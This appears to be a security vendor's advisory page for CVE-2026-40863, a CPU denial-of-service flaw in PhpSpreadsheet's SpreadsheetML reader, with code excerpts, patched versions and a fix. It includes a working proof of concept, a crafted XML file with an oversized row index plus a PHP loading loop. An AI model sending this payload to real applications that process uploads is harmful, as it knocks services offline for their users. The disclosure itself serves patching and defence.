Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-40863 phpoffice/phpspreadsheet

HIGH

CVE-2026-40863 is a high-severity (CVSS 7.5) CWE-770 vulnerability in phpoffice/phpspreadsheet. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.

PhpSpreadsheet: CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

Also known asGHSA-84wq-86v6-x5j6
Published
May 12, 2026
Updated
Aug 12, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40863.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-40863 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

5 pkgs affected
🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.

Details

In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:

// Xml.php:397-402
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
    $rowVisible = ((string) $row_ss['Hidden']) !== '1';
    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}

The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():

// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.

The RowIterator constructor uses getHighestRow() as its default end row:

// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
    $this->endRow = $endRow ?: $this->subject->getHighestRow();
    return $this;
}

With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.

Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.

PoC

  1. Create poc.xml:
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Worksheet ss:Name="Sheet1">
  <Table>
   <Row ss:Index="999999999" ss:Hidden="1"/>
   <Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
  </Table>
 </Worksheet>
</Workbook>
  1. Load and iterate:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000

// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
    // Never completes
}

Impact

Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:

  • Exhausting server CPU with a single small XML file (~300 bytes)
  • Blocking the PHP worker process, potentially affecting all concurrent users
  • Triggering PHP max_execution_time limits that still consume resources before killing the process

The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.

Recommended Fix

Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:

// After line 398:
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index'];
    if ($rowID > AddressRange::MAX_ROW) {
        $rowID = AddressRange::MAX_ROW;
    }
}

Add the necessary import at the top of the file:

use PhpOffice\PhpSpreadsheet\Cell\AddressRange;

The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphpoffice/phpspreadsheet4.0.0&&< 5.7.05.7.0composer require phpoffice/phpspreadsheet:^5.7.0
🐘Packagistphpoffice/phpspreadsheet3.3.0&&< 3.10.53.10.5composer require phpoffice/phpspreadsheet:^3.10.5
🐘Packagistphpoffice/phpspreadsheet2.2.0&&< 2.4.52.4.5composer require phpoffice/phpspreadsheet:^2.4.5
🐘Packagistphpoffice/phpspreadsheet2.0.0&&< 2.1.162.1.16composer require phpoffice/phpspreadsheet:^2.1.16
🐘Packagistphpoffice/phpspreadsheetall versions1.30.4composer require phpoffice/phpspreadsheet:^1.30.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40863 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40863 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40863. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. ## Details In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Ro
O3 Security · Impact-Aware SCA

Is CVE-2026-40863 in your dependencies?

O3 Security finds CVE-2026-40863 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-40863: DoS (High 7.5) | O3 Security